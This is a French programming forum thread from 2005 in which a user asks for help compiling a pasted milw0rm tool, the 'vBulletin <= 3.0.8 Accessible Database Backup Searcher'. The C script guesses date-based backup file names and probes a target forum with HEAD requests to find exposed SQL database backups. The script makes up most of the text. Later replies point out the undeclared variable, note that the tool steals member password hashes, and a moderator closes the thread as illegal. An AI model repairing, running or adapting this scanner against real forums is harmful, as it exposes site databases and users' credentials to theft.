Partage
  • Partager sur Facebook
  • Partager sur Twitter

undeclared (first use in this function)

AIDEZ MOI

3 décembre 2005 à 19:27:55

salut tous le monde

j'ai tout le temps ce message

17 C:\Documents and Settings\Kiri\Mes documents\PROGRAMMER C, C++\1 Hack\main.c `ttt' undeclared (first use in this function)

a chaque fois jessai d'effacer la ligne et je met un autre ca marche pas

pouvez vous m'aider SVP ? :(

char *getdate(int b){
        static char datestring[40];
        int minustime;
        minustime=86400 * b;
        strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate2(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate3(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate4(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate5(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate6(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

char *getdate7(int b){
        static char datestring[40];
        time_t ttt;
        int minustime;
        minustime=86400 * b;
        ttt=time(NULL)- minustime;
        strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r
        printf("Searching: forumbackup-%s.sql\n", datestring);
        return(datestring);
}

main(int argc, char *argv[]) {

 char buffer[1000],host[255],path[255],dog[255],c;
 int sd, rc, i=0, d=0, b;
 struct sockaddr_in localAddr, servAddr;
 struct hostent *h;

char *http =
         "Accept: */*\r\n"
         "Accept-Language: en-us,en;q=0.5\r\n"
         "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
         "User-Agent: we want your backups - milw0rm\r\n"
         "Connection: close\r\n\r\n";

if ( argc != 5) {
                printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");
                printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);
                exit(0);
}


 while ((c = getopt (argc, argv, "h:p:")) != EOF)
       switch(c)
       {
               case 'h':
                       strncpy(host,optarg,sizeof(host));
                       break;
               case 'p':
                       strncpy(path,optarg,sizeof(path));
                       break;
       }

 h = gethostbyname(host);
 
 if(h==NULL) {
   printf("Unknown Host '%s'\n",host);
   exit(1);
 }

 printf("Trying To Connect To [%s]\n",host);
 while(1){
 servAddr.sin_family = h->h_addrtype;
 memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
 servAddr.sin_port = htons(SERVER_PORT);
 sd = socket(AF_INET, SOCK_STREAM, 0);
 
 if(sd<0) {
   perror("Can Not Open The Socket\n");
   exit(1);
 }

 localAddr.sin_family = AF_INET;
 localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
 localAddr.sin_port = htons(0);

 rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));
 
 if(rc<0) {
   printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
   perror("error ");
   exit(1);
 }

 rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

 if(rc<0) {
   perror("cannot connect\n");
   exit(1);
 }
   memset(buffer,0,sizeof(buffer));

   if ( d == 0 ) {
   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);
   } else if ( d == 1 ) {
   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);
   } else if ( d == 2 ) {
   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);
   } else if ( d == 3 ) {
   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http);
   } else if ( d == 4 ) {
   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http);
   } else if ( d == 5 ) {
   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http);
   } else if ( d == 6 ) {
   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http);
   }

   rc = send(sd,buffer, strlen(buffer), 0);
   memset(buffer,0,sizeof(buffer));

while(1)
       {
       rc=recv(sd,buffer,sizeof(buffer),0);
       if(strstr(buffer,"404")) break;
       if(strstr(buffer,"200 OK"))
               {
               if ( d == 0 ) {
               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i));
               }
               if ( d == 1 ) {
               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));
               }
               if ( d == 2 ) {
               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));
               }
               if ( d == 3 ) {
               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate4(i));
               }
               if ( d == 4 ) {
               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate5(i));
               }
               if ( d == 5 ) {
               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate6(i));
               }
               if ( d == 6 ) {
               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate7(i));
               }
               exit(0);
               }
       memset(buffer,0,sizeof(buffer));
       }
close(sd);

if ( d < 6 ) {
        d++;
} else {
        d=0;
        i++;
}
}
}

// milw0rm.com [2005-08-31]

  • Partager sur Facebook
  • Partager sur Twitter
3 décembre 2005 à 19:30:54

1°) L'indentation c'est l'avenir...

2°) La variable ttt n'est pas déclarer encore quand tu l'utilises ici :

Citation : djkiruban

char *getdate(int b){
static char datestring[40];
int minustime;
minustime=86400 * b;
strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));
printf("Searching: forumbackup-%s.sql\n", datestring);
return(datestring);
}

  • Partager sur Facebook
  • Partager sur Twitter
3 décembre 2005 à 19:39:30

C'est quoi cette horreur ??? o_O
Je comprends que dalle, la syntaxe vient d'une autre planète :lol:
  • Partager sur Facebook
  • Partager sur Twitter
Anonyme
3 décembre 2005 à 19:41:50

\Documents and Settings\Kiri\Mes documents\PROGRAMMER C, C++\1 Hack\main.c

Ca sent le code copié/collé d'un endroit peu fréquentable.
  • Partager sur Facebook
  • Partager sur Twitter
3 décembre 2005 à 20:14:48

En fait il suffit de savoir parler anglais. Tu regardes à la ligne 17, tu utilises la variable ttt qui n'est pas déclarée.

Je croyais que j'étais le mec qui codait de la façon la plus moche au monde (rz0 pourra confirmer :) ), en lisant ces lignes j'ai compris que non.
  • Partager sur Facebook
  • Partager sur Twitter
3 décembre 2005 à 22:39:26

ca sert a quoi d'avoir 7 fonctions getdate() ?
  • Partager sur Facebook
  • Partager sur Twitter
3 décembre 2005 à 23:09:58

A RIEN!!
mais ou avez vous appris tout sa? Donner moi une bonne adresse parce que je suis tomber sur des site ou il explique vite et mal!!
  • Partager sur Facebook
  • Partager sur Twitter
4 décembre 2005 à 3:46:53

Hé ouais pas facile de compiler un exploit venant de milw0rm, ils devraient donner directement les éxecutables ;)
  • Partager sur Facebook
  • Partager sur Twitter
4 décembre 2005 à 15:08:22

oué il dévrait donner directement les exécutable on faite ca setr a quoi ce code ?
  • Partager sur Facebook
  • Partager sur Twitter
4 décembre 2005 à 17:19:07

Citation

on faite ca setr a quoi ce code ?



A choper la backup de la BDD d'un forum apparament (avec tous les hash md5 des membres) mais parcontre aucune d'idée de quel type de forum il peut s'agir :-°
A toi de me dire dans quelle section de milw0rm tu l'a trouvé ? :)
  • Partager sur Facebook
  • Partager sur Twitter
Anonyme
4 décembre 2005 à 17:46:12

Hum en effet j'ai des gros doutes quand à la provenance de ce code et à ce qu'il fait, surtout qu'il est illisible et que tu ne sais même pas à quoi il sert. Mais quand on regarde à l'adresse qui est dans la dernière ligne de commentaire, on se rend compte du genre.

Il me semble donc que cela fait référence à du piratage, considéré comme illégal (règle n°5).

Bref, je ferme, tu pourras m'expliquer après par MP le but de ce code, mais en attendant il me semble que c'est un programme illégal.
  • Partager sur Facebook
  • Partager sur Twitter